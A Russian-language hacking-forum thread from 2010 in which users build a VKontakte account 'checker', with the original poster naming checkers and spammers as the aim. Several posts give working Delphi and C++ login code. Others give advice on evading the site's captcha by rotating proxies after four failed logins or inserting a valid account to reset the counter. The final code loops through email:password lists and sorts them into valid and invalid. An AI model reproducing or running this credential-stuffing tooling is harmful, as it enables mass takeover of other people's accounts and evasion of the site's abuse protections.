PDA

Просмотр полной версии : [В]контакте авторизация


Sunstrider
16.04.2010, 22:08
http://vkontakte.ru/login.php?m=1&email=
народ где здесь значение входа,е мейл и пароль подстовляет а про вход даже незнаю где подцепить(подобие чекера пишу)

RedFern.89
16.04.2010, 22:14
опять эту тему подняли! ищите в поиске по ачату) тут есть))

Sunstrider
16.04.2010, 22:16
там через id http а я так
procedure TForm1.Button2Click(Sender: TObject);
var
i:integer;
s:string;
html_tag: variant;
begin
html_tag:=WebBrowser1.OleObject.Document.forms.ite m(0).elements;
for i:=0 to (html_tag.length-1) do
begin
if (html_tag.item(i).name='email') then
html_tag.item(i).value:=edit1.text;

if (html_tag.item(i).name='pass') then
html_tag.item(i).value:=edit2.text ;

if (html_tag.item(i).value='quick_login()') then
html_tag.item(i).click;
подругому не умею(

_LeADeR_WTF_
16.04.2010, 22:36
пробуй тaк vkontakte.ru/login.php?email=имейл&pass=пароль

Sunstrider
16.04.2010, 22:37
софт в поля подстовляет как имено войти нажатие реализовать

[stranger]
16.04.2010, 22:37
function re(wHost, wRequest: string):string;
var
hSocket: TSocket;
hHost: PHostEnt;
hAddr: TSockAddrIn;
hTimeout: TTimeVal;
iRead: integer;
hBuffer: array[0..1024] of char;
hData:string;
begin

hSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
hHost := gethostbyname(PChar(wHost));
hAddr.sin_family := AF_INET;
hAddr.sin_port := htons(80);
hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
hTimeout.tv_usec := 0;
hTimeout.tv_sec := 2000;
setsockopt(hSocket, SOL_SOCKET, SO_RCVTIMEO, @hTimeout, sizeof(ttimeval));
connect(hSocket, hAddr, SizeOf(hAddr));

Send(hSocket, wRequest[1], length(wRequest), 0);
while (TRUE) do
begin
FillChar(hBuffer, SizeOf(hBuffer), 0);
iRead := Recv(hSocket, hBuffer, length(hBuffer), 0);
hData := hData + copy(hBuffer, 0, iRead);
if (iRead <= 0) then break;
end;
CloseSocket(hSocket);
result := hData;
end;



re('login.vk.com','POST /?act=login HTTP/1.1'#13#10+
'Host: login.vk.com'#13#10+
'Referer: http://vkontakte.ru/index.php'#13#10+
'Content-Type: application/x-www-form-urlencoded'#13#10+
'Content-Length: ' + cl + #13#10#13#10+
'email=' + e-mail + '&pass=' + password + '&expire=&vk='));


из ответа надо вытащить ключ s и передавать его в следующем запросе:

re('vkontakte.ru','POST /login.php HTTP/1.1'#13#10+
'Host: vkontakte.ru'#13#10+
'Referer: http://login.vk.com/?act=login'#13#10+
'Content-Type: application/x-www-form-urlencoded'#13#10+
'Content-Length: ' + cl + #13#10#13#10+
's=' + s +'&op=slogin&redirect=1&expire=0&to='));

из заголовка надо вытащить remixsid и в дальнейшем использовать его для загрузки нужных станиц

Sunstrider
16.04.2010, 22:38
эмм для меня это тупо код в которым я не мыслю) расстолкуйте

M_script_
17.04.2010, 06:12
http://forum.antichat.ru/thread151017.html

1n0y
17.04.2010, 14:15
WebBrowser1.navigate('vkontakte.ru/login.php?email=имейл&pass=пароль');

RedFern.89
17.04.2010, 16:11
[быдло_оффтоп_коммент]TWebBrowser - это кошмарнейшее уныние, с которым вы прое6ете кучу трафика и веремени. [/быдло_оффтоп_коммент]

как минимум idHTTP используйте а лучше всего сокеты или вининет

Sunstrider
17.04.2010, 16:14
а где почитать (изучить) их

admink1
17.04.2010, 16:40
а есть ли пример раскодировки хэша?

RedFern.89
18.04.2010, 01:26
admink1, есть))) сам лично писал))) могу скинуть в лс)) тебе wallhash или просто hash? оО их же 2 там))) а авторизацию надо делать на сокетах а не через этот ацтой))) быдлокодеры мля))) я пое6авшись 2 дня понял - что idHTTP полная хрень)))

M_script_
18.04.2010, 08:34
а есть ли пример раскодировки хэша?
Одна строка кода:
#define DecodeHash(s) ReverseString(s.SubString(s.Length() - 4, 5) + s.SubString(5, s.Length() - 12));

Sunstrider
18.04.2010, 09:55
я даж незнаю что такое сокет,дайте полный фак плз

warkk
18.04.2010, 11:53
Так ты не авторизируешся, сначала ты посылаешь на сервер логин и пароль, параметры запроса вроде (email,pass,expire,vk) в ответ тебе придет параметр s, его надо спарсить с ответа, там 56 символов хэш. Ну и после того как спрасил ключ, посылаешь на сервер ещё 1 пост запрос, параметры вроде (s,op,redirect). Параметры смотри снифером

Sunstrider
18.04.2010, 11:55
Варк спасиб я забил на делфи,изучаю С++

M_script_
18.04.2010, 12:21
Так ты не авторизируешся
Сначала проверь, а потом пиши ;)
vkontakte.ru/login.php?email=имейл&pass=пароль

stepashka_
18.04.2010, 12:56
Варк спасиб я забил на делфи,изучаю С++
а смысл?
одно и тоже считай :rolleyes:

Sunstrider
18.04.2010, 13:15
а смысл?
одно и тоже считай :rolleyes:
Да ешки матрешки,народ какой ЯП больше подходит для написание чекеров Спамеров

M_script_
18.04.2010, 14:20
Да ешки матрешки,народ какой ЯП больше подходит для написание чекеров Спамеров
Любой современный ЯП.

RedFern.89
18.04.2010, 16:58
Да ешки матрешки,народ какой ЯП больше подходит для написание чекеров Спамеров


ваще самый простой вариант - Delphi, C++, C#

:) :) :)

Sunstrider
18.04.2010, 16:59
я шяс убьюсь ((( Один вариант самый актуальный

RedFern.89
18.04.2010, 17:12
Sunstrider, я вот что тебе скажу. Delphi - ругается на каждую мелочь. т.е. на не соответствие типов и тд. Все же языки типа c++ (кроме builder) им пофигу на это. В общем каждому свое)) я лично отдаю свое предпочтение Delphi ))

еще скажу. Если же ты делаешь чекер - то я бы не советовал юзать TWebBrowser. Как бэ подумай, что случится с компом, если ты запустишь проверку в 100 потоков. Тут даже инди не совсем актуальны. В общем изучай нужный тебе язык программирования и вперед! :) :)

Sunstrider
18.04.2010, 17:13
а софт мошнее на с++?

RedFern.89
18.04.2010, 17:16
возможно. Я точно не знаю ничего про компилятор и возможности у C++, C#. Думаю - местные напишут)))

warkk
18.04.2010, 17:29
Сначала проверь, а потом пиши ;)
vkontakte.ru/login.php?email=имейл&pass=пароль

Ну попробуй программно так авторизироватся)

M_script_
18.04.2010, 17:48
Ну попробуй программно так авторизироватся)
Пробовал не раз. Все нормально.
Для спамеров, чекеров и т.п. данный способ не подходит по некоторым причинам.

Delphi - ругается на каждую мелочь. т.е. на не соответствие типов и тд. Все же языки типа c++ (кроме builder) им пофигу на это
Странное мнение. В c++ без разницы, какой тип переменных использовать? И почему "кроме builder"?

Zombi ****
18.04.2010, 18:00
http://vkontakte.ru/login.php?m=1&email=
народ где здесь значение входа,е мейл и пароль подстовляет а про вход даже незнаю где подцепить(подобие чекера пишу)
а на php кто подскажет где почитать??

warkk
19.04.2010, 10:18
Пробовал не раз. Все нормально.
Для спамеров, чекеров и т.п. данный способ не подходит по некоторым причинам.

Я не знаю как ты там "пробывал" но так сейчас программно не авторизируешся.

keen6
19.04.2010, 10:34
Delphi - ругается на каждую мелочь. т.е. на не соответствие типов и тд. Все же языки типа c++ (кроме builder) им пофигу на это.

Прежде чем писать, подучите теорию. И С++ и Delphi - языки со строгой типизацией. С++ больше подходит для системного программирования, на Delphi будет проще писать несложное прикладное ПО.

M_script_
19.04.2010, 11:18
Я не знаю как ты там "пробывал" но так сейчас программно не авторизируешся.
То есть, по твоему, вручную через браузер можно авторизоваться, а программно нельзя? :confused:

warkk
19.04.2010, 14:49
Ага, с такими параметрами не авторизируешся, включи снифер и посмотри.

M_script_
19.04.2010, 16:17
Ага, с такими параметрами не авторизируешся, включи снифер и посмотри.
В ответе приходит remixsid, больше ничего и не нужно для авторизации.

warkk
19.04.2010, 16:29
Хех... Смотри снифером. Там 2 пост запроса.

Sunstrider
19.04.2010, 17:03
Я сейчас изучаю С++ ,посложнее но софт выходит более качественный.И лучше работает думаю начать изучать шарп

warkk
19.04.2010, 17:09
Попробуй что то одно нормально выучить)

RedFern.89
19.04.2010, 17:11
на любом языке можно все это написать))) главное знать основы работы того, над чем работаешь))

M_script_
19.04.2010, 19:00
Хех... Смотри снифером. Там 2 пост запроса.
Специально для самых упертых пример на инди... (warkk, найди в примере хотя бы один пост-запрос ;))
На форму кидаем 2 TEdit, TButton, TIdHTTP, TIdAntiFreeze (не обязательно)
В обработчике нажатия на кнопку пишем следующий код:
TMemoryStream* ms = new TMemoryStream;

try
{
IdHTTP1->Get( "http://vkontakte.ru/login.php?email=" +
Edit1->Text +
"&pass=" +
Edit2->Text);
}
catch(...){}

String sRemixsid = IdHTTP1->Response->RawHeaders->GetText();
sRemixsid.Delete(1, sRemixsid.Pos("remixsid=") + 9 - 1);
sRemixsid.SetLength(sRemixsid.Pos(";") - 1);

IdHTTP1->Request->CustomHeaders->Add("Cookie: remixsid=" + sRemixsid);
IdHTTP1->Get(IdHTTP1->Response->Location, ms);
ms->SaveToFile("page.htm");

delete ms;

Программа авторизуется и сохраняет страницу юзера в файл page.htm
Скачать программу (http://dump.ru/file/4531981)

Sunstrider
19.04.2010, 19:13
Специально для самых упертых пример на инди... (warkk, найди в примере хотя бы один пост-запрос ;))
На форму кидаем 2 TEdit, TButton, TIdHTTP, TIdAntiFreeze (не обязательно)
В обработчике нажатия на кнопку пишем следующий код:
TMemoryStream* ms = new TMemoryStream;

try
{
IdHTTP1->Get( "http://vkontakte.ru/login.php?email=" +
Edit1->Text +
"&pass=" +
Edit2->Text);
}
catch(...){}

String sRemixsid = IdHTTP1->Response->RawHeaders->GetText();
sRemixsid.Delete(1, sRemixsid.Pos("remixsid=") + 9 - 1);
sRemixsid.SetLength(sRemixsid.Pos(";") - 1);

IdHTTP1->Request->CustomHeaders->Add("Cookie: remixsid=" + sRemixsid);
IdHTTP1->Get(IdHTTP1->Response->Location, ms);
ms->SaveToFile("page.htm");

delete ms;

Программа авторизуется и сохраняет страницу юзера в файл page.htm
Скачать программу (http://dump.ru/file/4531981)
эт авторизация на вк ?

GlooK
19.04.2010, 19:30
эт авторизация на вк ?

На mail.ru, разве не видно?

warkk
19.04.2010, 19:31
Data.Add('email='+Edit1.Text);
Data.Add('pass='+Edit2.Text);
Data.Add('expire=');
Data.Add('vk=0');
S:=HTTP.Post('http://login.vk.com/?act=login',Data);
S:=Copy(S,Pos('value=',S)+7,56);

Data.Clear;

Data.Add('s='+s);
Data.Add('op=slogin');
Data.Add('redirect=1');
Data.Add('expire=0');
Data.Add('to=');
HTTP.Post('http://vkontakte.ru/login.php',Data);
Memo1.Text:=HTTP.Get('http://vkontakte.ru/profile.php');

В мемо копирует содержимое страници)

Sunstrider
19.04.2010, 19:33
люди обьяснните мне код ася в профиле награжу заранее спс

1n0y
19.04.2010, 21:46
госпади, ды сколько же можно!

t04
23.04.2010, 17:56
никого не интересует написать полный компонент на сокетах, без всяких idHTTP и idCookieManager?

M_script_
23.04.2010, 18:23
никого не интересует написать полный компонент на сокетах, без всяких idHTTP и idCookieManager?
Зачем изобретать велосипед? Все что нужно уже написали, curl называется.

Ar2r
24.04.2010, 14:06
вот рабочая авторизация вк с кукисами. (codegear 2009 с++ (http://letitbit.net/download/13912.13db77337f4c8ab728f4a80fc/_____________.rar.html) )

RedFern.89
24.04.2010, 14:20
ненавижу letbit

Sunstrider
24.04.2010, 14:21
ненавижу letbit
Ну он лучше депосита по скорости !)

RedFern.89
24.04.2010, 14:22
не сочтите за рекламу, но slil.ru куда лучше. ИМХО

Sunstrider
24.04.2010, 14:29
не сочтите за рекламу, но slil.ru куда лучше. ИМХО
по форума да а так этот ФО не пускает фильтры аси++ ихмо сендспайс зе бест

Qwazar
24.04.2010, 14:52
а смысл?
одно и тоже считай :rolleyes: Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.

M_script_
24.04.2010, 15:33
Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.
Все зависит от того, с какой целью человек изучает программирование. Если он не собирается профессионально заниматься программированием, то делфи вполне подходит.
А если хочешь работать программистом, то со знанием 1С работу проще найти, чем со знанием C++ или делфи.

gisTy
24.04.2010, 16:07
хочешь работать программистомзнанием 1Сгде связь?

GhostOnline
24.04.2010, 16:25
Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.
готов поспорить что ты не знаешь что с языком произошло за последние лет 5. Вообще в курсе что в дельфи кроссплатформу вводят?

ntldr
24.04.2010, 16:39
Делфи действительно пустая трата времени. Знаешь С++ - не трудно будет выучить C#,Java.

gisTy
24.04.2010, 16:41
Вообще в курсе что в дельфи кроссплатформу вводят?
смысл?

GhostOnline
24.04.2010, 16:46
смысл?
тот же что и в Qt или Java
Если он не собирается профессионально заниматься программированием, то делфи вполне подходит.
Интересно, фриланс входит в профессиональное занятие программированием?

Sunstrider
24.04.2010, 16:49
Я изучаю С++,и делфи поверхностно тему close';

M_script_
24.04.2010, 17:07
где связь?
Где связь между программированием и программированием в 1С? Это разве не очевидно? :confused:

Ar2r
25.04.2010, 13:43
ойййй! господин Модератор! убей последние сообщения. оффтоп полный!

1) делфи хорош в обучении. к нему полно компонентов. это гуд. Кто начнёт доказывать мне, что с точки зрения обьектно ориентированности делфи может потягаться с С++, пусть так и считает. Это тоже самое что доказывать инквизиторам дарвиновскую теорию.

2) Связь между программированием и программированием в 1С заключается только в слове Программирование.

p.s. И в завершении. Никто так толком и не описал методы работы с контактом на компелируемом языке. Очень хотелбы увидеть способы работы с ява окошками (пригласить во встречу, группу и тд)

GhostOnline
25.04.2010, 14:29
Никто не доказывает что дельфи лучше
Никто не доказывает что дельфи для всего хорош
У каждого языка свои плюсы и минусы
У каждого языка своя область применения
И точка.
Кто начнёт доказывать мне, что с точки зрения обьектно ориентированности делфи может потягаться с С++, пусть так и считает.
опять же тут никто не пытался что-то кому то доказать, но могу ля я почитать мнение эксперта с мировым именем по ООП, то бишь тебя, чем должен обладать язык что-бы считаться вполне себе объектно-ориентированным? Чтобы как-то голословным это не выглядело.

Ar2r
25.04.2010, 15:06
Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.
Да пипец! Чуть выше никто ничего не доказывал! :cool:

в с++ не нужна отдельная синтаксическая конструкция для интерфейсов. в делфи же является ограничение на структуру дерева классов: невозможно унаследовать класс, реализующий интерфейс, от какого-либо другого своего класса.

M_script_
25.04.2010, 16:35
2) Связь между программированием и программированием в 1С заключается только в слове Программирование.
А больше ничего и не нужно. ЯП создан под конкретные задачи, с которыми справляется.


p.s. И в завершении. Никто так толком и не описал методы работы с контактом на компелируемом языке. Очень хотелбы увидеть способы работы с ява окошками (пригласить во встречу, группу и тд)
Это не инструкция по ВК.

stepashka_
25.04.2010, 17:21
procedure TForm1.Button1Click(Sender: TObject);
var
params, responseres : tstringlist;
begin
params := TStringList.Create;
responseres := TStringList.Create;
try
params.Add('email=edit1');
params.Add('password=edit2');
IdHTTP1.Post('http://vkontakte.ru/login.php',params);
if Pos('http://vkontakte.ru/profile.php',responseres.Text)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
finally
params.free;
responseres.free;
end;
end;
end.
Подскажите где ошибка

M_script_
25.04.2010, 17:25
Подскажите где ошибка
responseres - это что?

stepashka_
25.04.2010, 17:31
responseres - это что?
я только учу дельфи ты же знаешь :)
убрал responseres
вот что получилось

procedure TForm1.Button1Click(Sender: TObject);
var
params: tstringlist;
begin
params := TStringList.Create;
try
params.Add('email=edit1');
params.Add('password=edit2');
IdHTTP1.Post('http://vkontakte.ru/login.php',params);
if Pos('http://vkontakte.ru/profile.php',Text)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
finally
params.free;
end;
end;
end.
Всё равно выскакивает Авторизация не удалась! :(

[stranger]
25.04.2010, 17:47
я только учу дельфи ты же знаешь :)
убрал responseres
вот что получилось

Всё равно выскакивает Авторизация не удалась! :(
а куда ты записываешь результат запроса? в базовое пространство вселенной? :rolleyes:

stepashka_
25.04.2010, 17:53
']а куда ты записываешь результат запроса? в базовое пространство вселенной? :rolleyes:
Вот за этим я сюда и пришёл :)

[stranger]
25.04.2010, 17:56
Вот за этим я сюда и пришёл :)


procedure TForm1.Button1Click(Sender: TObject);
var params, resp : TStringList;
begin
params := TStringList.Create;
resp := TStringList.Create;
try
params.Add('email=' + edit1.text);
params.Add('pass=' + edit2.text);
resp.text := IdHTTP1.Post('http://vkontakte.ru/login.php',params);
if Pos('http://vkontakte.ru/profile.php',resp.Text)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
finally
params.free;
resp.free;
end;
end;

HakaR
25.04.2010, 18:05
Сколько говорить, что авторизация вк не так происходит!
Там 2 или 3 пост запроса.

Сначала на http://vkontakte.ru/login.php отправляем "op=a_login_attempt", смотрим ответ если vklogin продолжаем, если нет: парсим ид капчи, грузим её.
Далее "email=", "pass=", "expire=", "vk=0" шлем на http://login.vk.com/?act=login. Из результата берем хеш (s) s:=Copy(result,Pos('value=',result)+7,56);
Далее 3 пост запрос отправляем: "s=", "op=slogin", "redirect=1" "expire=0", "to=" на http://vkontakte.ru/login.php.

з.ы. исправь ещё свой idcookiemanager

M_script_
25.04.2010, 18:17
Сколько говорить, что авторизация вк не так происходит!
Там 2 или 3 пост запроса.
Можно авторизоваться одним гет-запросом. То, что видишь в снифере - не всегда единственно возможный вариант.
http://forum.antichat.ru/showpost.php?p=2085789&postcount=39

HakaR
25.04.2010, 18:20
M_script_, согласен, можно.
Но в его случае он авторизируется через пост. Вот я и подсказал как через пост. :)

[stranger]
25.04.2010, 18:21
запрос:

'GET /login.php?email=&pass= HTTP/1.1'#13#10+
'Host: vkontakte.ru'#13#10+
'Referer: http://vkontakte.ru/index.php'#13#10+
'Connection: close'#13#10#13#10));

ответ:

HTTP/1.1 302 Found
Server: nginx/0.7.59
Date: Sun, 25 Apr 2010 14:17:37 GMT
Content-Type: text/html; charset=windows-1251
Connection: close
X-Powered-By: PHP/5.2.6-1+lenny4
Pragma: no-cache
Cache-control: no-store
Set-Cookie: remixchk=5; expires=Sat, 23-Apr-2011 12:33:44 GMT; path=/; domain=.vkontakte.ru
Set-Cookie: remixchk=5; expires=Thu, 28-Apr-2011 22:20:33 GMT; path=/; domain=.vkontakte.ru
Set-Cookie: remixsid=*****************************; expires=Mon, 18-Apr-2011 03:47:57 GMT; path=/; domain=.vkontakte.ru
Location: /id*********
Vary: Accept-Encoding
Content-Length: 0


чудеса.. :rolleyes:

Sunstrider
25.04.2010, 18:26
Сколько говорить, что авторизация вк не так происходит!
Там 2 или 3 пост запроса.

Сначала на http://vkontakte.ru/login.php отправляем "op=a_login_attempt", смотрим ответ если vklogin продолжаем, если нет: парсим ид капчи, грузим её.
Далее "email=", "pass=", "expire=", "vk=0" шлем на http://login.vk.com/?act=login. Из результата берем хеш (s)
Далее 3 пост запрос отправляем: "s=", "op=slogin", "redirect=1" "expire=0", "to=" на http://vkontakte.ru/login.php.

з.ы. исправь ещё свой idcookiemanager
спасибо,вкатил что до как

warkk
25.04.2010, 18:39
Можно авторизоваться одним гет-запросом. То, что видишь в снифере - не всегда единственно возможный вариант.
А если капча? В твоем случае нет проверки на капчу

HakaR
25.04.2010, 18:41
А если капча? В твоем случае нет проверки на капчу
А что мешает её прикрутить? :)

warkk
25.04.2010, 18:44
А что мешает её прикрутить?
Я Ведь не говорю что нельзя

Можно авторизоваться одним гет-запросом

M_script_
25.04.2010, 19:04
А если капча?
Капча появляется не рандомно, если все правильно сделать ее не будет.

Sunstrider
25.04.2010, 19:11
Капча появляется не рандомно, если все правильно сделать ее не будет.
:D Тоесть предварительно прочекать норм чекером ?

HakaR
25.04.2010, 19:15
Капча появляется не рандомно, если все правильно сделать ее не будет.
Спали что нужно правильно сделать :confused: :o
Интересно... :)

M_script_
25.04.2010, 20:00
Спали что нужно правильно сделать :confused: :o
Интересно... :)
4 невалида -> смена прокси

stepashka_
25.04.2010, 20:05
M_script_ можно твой пример get авторизации только на дельфи
Ничего не пойму :(

Sunstrider
25.04.2010, 20:11
4 невалида -> смена прокси
Да но допустим те надо будет прочекать 20 000 аккаунтов то те нужен милионый список прокси

warkk
25.04.2010, 20:58
Можно и без прокси, просто после 4 невалидов походу должен идти 1 валид) Т.е. просто любой твой валидный акк)

Sunstrider
25.04.2010, 21:12
Можно и без прокси, просто после 4 невалидов походу должен идти 1 валид) Т.е. просто любой твой валидный акк)
а после валида опять лимит 4 ?

warkk
25.04.2010, 21:15
Ну походу да. Т.е. если идет подряд 4 невалида, то следующий делай валид

Sunstrider
25.04.2010, 21:20
Но походу там после 5 невалидов с ипа капча независимо от валида

Ar2r
25.04.2010, 21:27
если не сильно жмёт - потерпи до завтра. выложу чекер с исходниками, который чекает аки.

Капча вылазит после 5 неудачных входов. Убирается удачным валидом. Бороться можно либо проксями, либо заложеной внутри проги валидной учёткой, которая будет служить обнулением капча счётчика.

stepashka_
25.04.2010, 21:30
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s : String;
begin
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=copy(uns, 286, 56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
if Pos('http://vk.com/profile.php',s )>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end.
что тут опять не так? выдаёт ошибку HTTP/1.1 302 found

[stranger]
25.04.2010, 21:31
т.е. 4 невалида 1 валид и капчи не видать?

[stranger]
25.04.2010, 21:32
что тут опять не так? выдаёт ошибку HTTP/1.1 302 found
это не ошибка!! :mad:
это редирект!
в "Location: " написано куда

M_script_
25.04.2010, 21:33
недолго этому способу жить осталось теперь =)

HakaR
25.04.2010, 21:37
что тут опять не так? выдаёт ошибку HTTP/1.1 302 found
TIdHTTP.HandleRedirects := True;

stepashka_
25.04.2010, 21:42
TIdHTTP.HandleRedirects := True;
при компиляции эта строка у меня красным выделяется :(

TrueBit
25.04.2010, 21:43
при компиляции эта строка у меня красным выделяется :(
IdHTTP1.HandleRedirects := True;

HakaR
25.04.2010, 21:44
TIdHTTP1.HandleRedirects := True;
не, во:
idhttp1.handleredirects := true;
stepashka_, ты убиваешь мой моск :(

stepashka_
25.04.2010, 21:45
IdHTTP1.HandleRedirects := True;
Теперь всё норм
Но всё равно пишет что авторизация не удалась :( :(


upd
HTTP/1.1 302 found всё равно осталась

Ar2r
25.04.2010, 21:47
IdHttp1.HandleRedirects := true;

HakaR
25.04.2010, 21:51
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s, res : String;
begin
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=copy(uns, 286, 56);
res := idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
if Pos('http://vk.com/profile.php', res)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end.
Так попробуй. Хотя хз...я не проверял.

stepashka_
25.04.2010, 21:54
Так попробуй. Хотя хз...я не проверял.
Всё равно :(
me=\ в ярости :mad:

Ar2r
25.04.2010, 21:54
дуров наверно сидит и уссывается с нас

TrueBit
25.04.2010, 21:58
мб этой строки "http://vk.com/profile.php" в "uns" при авторизации нет?

Ar2r
25.04.2010, 22:00
посмотри исходник который я выкладывал. там авторизация в несколько этапов с просчётом времяни через таймер идёт. Я авторизовывался через тот пример

HakaR
25.04.2010, 22:02
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s: String;
begin
idhttp1.HandleRedirects := True;
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
ShowMessage('Àâòîðèçàöèÿ íå óäàëàñü!')
else
begin
ShowMessage('Àâòîðèçèðîâàëèñü');
memo1.Lines.Add(uns);
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end;
Проверил, работает.

stepashka_
25.04.2010, 22:07
Проверил, работает.
HTTP/1.1 302 found :(

HakaR
25.04.2010, 22:10
HTTP/1.1 302 found :(
idhttp1.HandleRedirects := True;
После begin добавь :( :mad:
begin
idhttp1.HandleRedirects := True;
...
...
...

stepashka_
25.04.2010, 22:49
всё гуд!

Кидаем на форму 2 edit, batton, idhttp, IdCookieManager, IdAntiFreeze memo
На кнопку

procedure TForm1.Button1Click(Sender: TObject);
var
uns, s: String;
begin
idhttp1.HandleRedirects := True;
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
ShowMessage('ne ok')
else
begin
ShowMessage('ok');
memo1.Lines.Add(uns);
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end;
ухх неужели :)

Ar2r
26.04.2010, 07:49
это ещё начало гемороя. попробуй теперь загрузи страницу с сообщениями

stepashka_
26.04.2010, 09:34
у меня все впереди, я только начал кодить

Sunstrider
26.04.2010, 13:56
s:=Copy(uns,Pos('value=',uns)+7,56);
что в переменую S сохроняеться я не понял

GhostOnline
26.04.2010, 13:58
s:=Copy(uns,Pos('value=',uns)+7,56);
что в переменую S сохроняеться я не понял
56 символов после value= из строки uns, вроде так
это единственный способ авторизации ?
Без понятия, я всего лишь указал что делает этот код, фкантагте никогда не работал

Sunstrider
26.04.2010, 14:20
56 символов после value= из строки uns, вроде так
это единственный способ авторизации ?

HakaR
26.04.2010, 14:38
s:=Copy(uns,Pos('value=',uns)+7,56);
что в переменую S сохроняеться я не понял
В эту переменную хеш сохраняется, он далее нужен для авторизации.

RedFern.89
26.04.2010, 15:25
да вот рабочий пример!!!!!


var HTTP : TidHTTP;

procedure VK_Login(email, pass: string);
var
cookie : TidCookieManager;
uns : string;
Data : TStringList;
begin
Cookie := TidCookieManager.Create(nil);
HTTP := TidHTTP.Create(nil);
Data := TStringList.Create;
HTTP.CookieManager := Cookie;
HTTP.AllowCookies := True;
HTTP.HandleRedirects := True;
HTTP.Request.UserAgent := 'Mozilla/5.0';

Data.Add('email='+email);
Data.Add('pass='+pass);

Uns := HTTP.Post('http://login.vk.com/?act=login', Data);
Uns := Copy(uns, 286, 56);

Cookie.AddCookie('remixsid=' + Uns + '; path=/;', 'vkontakte.ru');
Cookie.AddCookie('remixchk=5; path=/;', 'vkontakte.ru');
end;



чорт1!!!!1!!1 все!!! закройте вы эту тему!!! сколько уже можно в ней писать??? или вам еще примеры какието привести???

warkk
27.04.2010, 01:04
Ага))) Можно подробнее)))))

RedFern.89
27.04.2010, 04:20
люди!11!1!1! ололо!!!!1!1! запомните!

HTTP/1.1 302 Found - это не ошибка!!!! это просто перенаправление!!!!! вываливаеца в виде эксепшена! уууууххххххххх.... закройте пожалуйста эту тему....

Sunstrider
27.04.2010, 13:41
да вот рабочий пример!!!!!


var HTTP : TidHTTP;

procedure VK_Login(email, pass: string);
var
cookie : TidCookieManager;
uns : string;
Data : TStringList;
begin
Cookie := TidCookieManager.Create(nil);
HTTP := TidHTTP.Create(nil);
Data := TStringList.Create;
HTTP.CookieManager := Cookie;
HTTP.AllowCookies := True;
HTTP.HandleRedirects := True;
HTTP.Request.UserAgent := 'Mozilla/5.0';

Data.Add('email='+email);
Data.Add('pass='+pass);

Uns := HTTP.Post('http://login.vk.com/?act=login', Data);
Uns := Copy(uns, 286, 56);

Cookie.AddCookie('remixsid=' + Uns + '; path=/;', 'vkontakte.ru');
Cookie.AddCookie('remixchk=5; path=/;', 'vkontakte.ru');
end;



чорт1!!!!1!!1 все!!! закройте вы эту тему!!! сколько уже можно в ней писать??? или вам еще примеры какието привести???
ураа заработале спасибо добрый человек)

stepashka_
29.04.2010, 18:37
Подскажите если в этой авторизации вылезла капча

begin
if Flag then Break;
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
Как её спарсить и вывести в картинку на форму? текст вводить в edit при нажатии на кнопку что бы продолжался цикл. :)

stepashka_
29.04.2010, 19:28
Lovemachine, Это точно не то


upd
анти-каптчу можно сюда пристроить?